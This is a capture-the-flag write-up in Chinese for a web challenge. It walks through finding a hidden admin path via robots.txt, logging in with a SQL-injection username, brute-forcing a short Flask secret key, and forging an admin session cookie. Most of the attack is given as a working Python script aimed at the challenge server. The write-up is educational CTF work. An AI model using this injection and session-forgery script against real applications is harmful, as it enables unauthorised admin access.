# [CH] THE EYE 2
###### tags: `Writeup` `Web` `Chinese`
> [name=Curious]
## 思路和解法
稍微找一下就可以發現題目有一個 `/robots.txt` 的路徑,進去之後可以發現有兩個看起來很可疑的路徑被 Disallow

如果直接去訪問 `/admin` 的話會發現跳回主頁,但是訪問 `/admin-dev` 可以發現一些跟 `/admin` 有關的 flask 程式碼。

研究一下 `session` 這個 cookie 是怎麼產生的,過程大概可以寫成下面這樣
```python=
from itsdangerous import base64_encode
session_data = base64_encode(b'{"username":"curious"}')
session_time = base64_encode(b'<time stamp in bytes>')
pre_session = session_data + b'.' + session_time
# `secret_key` here is `app.secret_key`
key = hmac.new(secret_key, msg=b'cookie-session', digestmod=hashlib.sha1).digest()
session_hmac = base64_encode(hmac.new(key, msg=pre_session, digestmod=hashlib.sha1).digest())
session = pre_session + b'.' + session_hmac
```
因為我們已知 curious 這個使用者的 `session` cookie,所以我們可以嘗試不同的 `app.secret_key` 去計算 curious 的 `session_hmac`,如果跟原本 `session` 的 `session_hmac` 相同的話就代表我們找到 `app.secret_key` 了。
```python=
import requests as req
from itertools import product
from itsdangerous import base64_decode, base64_encode
from tqdm import tqdm
import hashlib, hmac
def gen_session_hmac(pre_session: bytes, secret_key: bytes):
key = hmac.new(secret_key, msg=b'cookie-session', digestmod=hashlib.sha1).digest()
return hmac.new(key, msg=pre_session, digestmod=hashlib.sha1).digest()
session = req.post('http://lotuxctf.com:20002/login', data={'username': "curious' -- ", 'password': '123'}, allow_redirects=False).headers['Set-Cookie'].split(';')[0].split('=')[1].encode().split(b'.')
pre_session = session[0] + b'.' + session[1]
right_hmac = base64_decode(session[2])
for new_key in tqdm(product(range(256), repeat=3)):
new_key = bytes(new_key)
if gen_session_hmac(pre_session, new_key) == right_hmac:
secret_key = new_key
break
new_pre_session = base64_encode('{"username":"admin"}') + b'.' + session[1]
session = new_pre_session + b'.' + base64_encode(gen_session_hmac(new_pre_session, secret_key))
print(session)
```
接者就用找到的 `app.secret_key` 去算出一個 `session_data` 是 `base64_encode(b'{"username":"admin"}')` 的 `session` cookie,然後把這個 `session` cookie 替換掉原本瀏覽器裡面的 `session` cookie,然後去請求 `/admin` 後

點擊 `Get Flag!` 就可以拿到 flag 了
{%hackmd M1bgOPoiQbmM0JRHWaYA1g %}